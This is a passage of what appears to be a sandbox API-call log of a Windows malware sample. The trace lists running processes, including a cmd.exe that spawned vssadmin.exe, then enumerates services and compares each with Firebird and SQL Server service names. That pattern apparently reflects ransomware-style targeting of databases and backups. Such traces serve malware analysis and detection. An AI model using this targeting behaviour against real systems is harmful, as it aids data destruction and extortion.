(lpString="services.exe") returned 12 [0060.980] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0060.980] lstrlenW (lpString="lsass.exe") returned 9 [0060.980] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0060.980] lstrlenW (lpString="lsm.exe") returned 7 [0060.980] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.981] lstrlenW (lpString="svchost.exe") returned 11 [0060.981] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.981] lstrlenW (lpString="svchost.exe") returned 11 [0060.981] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.981] lstrlenW (lpString="svchost.exe") returned 11 [0060.981] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.981] lstrlenW (lpString="svchost.exe") returned 11 [0060.982] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.982] lstrlenW (lpString="svchost.exe") returned 11 [0060.982] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0060.982] lstrlenW (lpString="audiodg.exe") returned 11 [0060.983] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.983] lstrlenW (lpString="svchost.exe") returned 11 [0060.983] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.983] lstrlenW (lpString="svchost.exe") returned 11 [0060.983] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0060.984] lstrlenW (lpString="dwm.exe") returned 7 [0060.984] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0060.984] lstrlenW (lpString="explorer.exe") returned 12 [0060.984] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0060.984] lstrlenW (lpString="spoolsv.exe") returned 11 [0060.985] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0060.985] lstrlenW (lpString="taskhost.exe") returned 12 [0060.985] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.985] lstrlenW (lpString="svchost.exe") returned 11 [0060.985] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0060.985] lstrlenW (lpString="taskeng.exe") returned 11 [0060.985] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0060.986] lstrlenW (lpString="taskhost.exe") returned 12 [0060.986] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0060.986] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0060.986] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0060.986] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0060.986] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0060.987] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0060.987] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0060.987] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0060.987] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0060.987] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0060.987] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0060.988] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0060.988] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0060.988] lstrlenW (lpString="toyota.exe") returned 10 [0060.988] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0060.988] lstrlenW (lpString="radiation.exe") returned 13 [0060.989] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0060.989] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0060.989] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0060.989] lstrlenW (lpString="ur illustration.exe") returned 19 [0060.989] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0060.989] lstrlenW (lpString="facing.exe") returned 10 [0060.990] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0060.990] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0060.990] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0060.990] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0060.990] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0060.990] lstrlenW (lpString="headline.exe") returned 12 [0060.991] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0060.991] lstrlenW (lpString="army_unsigned.exe") returned 17 [0060.991] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0060.991] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0060.991] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0060.991] lstrlenW (lpString="distribution-gif.exe") returned 20 [0060.991] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0060.992] lstrlenW (lpString="tribunal.exe") returned 12 [0060.992] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0060.992] lstrlenW (lpString="aafeof.exe") returned 10 [0060.992] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0060.992] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0060.992] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0060.993] lstrlenW (lpString="encryption.exe") returned 14 [0060.993] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0060.993] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0060.993] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0060.993] lstrlenW (lpString="1с_.exe") returned 7 [0060.993] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0060.994] lstrlenW (lpString="cmd.exe") returned 7 [0060.994] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0060.994] lstrlenW (lpString="conhost.exe") returned 11 [0060.994] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0060.994] lstrlenW (lpString="vssadmin.exe") returned 12 [0060.994] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0060.995] lstrlenW (lpString="VSSVC.exe") returned 9 [0060.995] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.995] lstrlenW (lpString="svchost.exe") returned 11 [0060.995] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0060.995] lstrlenW (lpString="LogonUI.exe") returned 11 [0060.995] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0060.996] CloseHandle (hObject=0x204) returned 1 [0060.996] Sleep (dwMilliseconds=0x1f4) [0061.843] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x58fec0 [0061.844] EnumServicesStatusExW (in: hSCManager=0x58fec0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0061.845] GetLastError () returned 0xea [0061.845] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x60eb98 [0061.845] EnumServicesStatusExW (in: hSCManager=0x58fec0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60eb98, cbBufSize=0x12c6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60eb98, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0061.846] CloseServiceHandle (hSCObject=0x58fec0) returned 1 [0061.846] lstrlenW (lpString="Appinfo") returned 7 [0061.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0061.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0061.846] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0061.847] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0061.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0061.847] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0061.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0061.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0061.847] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0061.847] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0061.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0061.847] lstrlenW (lpString="AudioSrv") returned 8 [0061.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0061.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0061.847] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0061.847] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0061.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0061.847] lstrlenW (lpString="BFE") returned 3 [0061.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0061.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0061.847] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0061.847] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0061.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0061.847] lstrlenW (lpString="CryptSvc") returned 8 [0061.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0061.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0061.847] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0061.847] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0061.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0061.847] lstrlenW (lpString="CscService") returned 10 [0061.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0061.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0061.847] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0061.847] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0061.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0061.848] lstrlenW (lpString="DcomLaunch") returned 10 [0061.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0061.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0061.848] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0061.848] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0061.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0061.848] lstrlenW (lpString="Dhcp") returned 4 [0061.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0061.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0061.848] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0061.848] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0061.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0061.848] lstrlenW (lpString="Dnscache") returned 8 [0061.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0061.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0061.848] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0061.848] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0061.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0061.848] lstrlenW (lpString="DPS") returned 3 [0061.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0061.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0061.848] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0061.848] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0061.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0061.848] lstrlenW (lpString="eventlog") returned 8 [0061.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0061.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0061.848] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0061.848] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0061.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0061.849] lstrlenW (lpString="EventSystem") returned 11 [0061.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0061.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0061.849] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0061.849] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0061.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0061.849] lstrlenW (lpString="gpsvc") returned 5 [0061.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0061.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0061.849] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0061.849] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0061.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0061.849] lstrlenW (lpString="iphlpsvc") returned 8 [0061.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0061.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0061.849] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0061.849] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0061.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0061.849] lstrlenW (lpString="LanmanServer") returned 12 [0061.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0061.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0061.849] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0061.849] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0061.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0061.849] lstrlenW (lpString="LanmanWorkstation") returned 17 [0061.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0061.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0061.849] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0061.849] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0061.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0061.849] lstrlenW (lpString="lmhosts") returned 7 [0061.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0061.850] lstrcmpiW 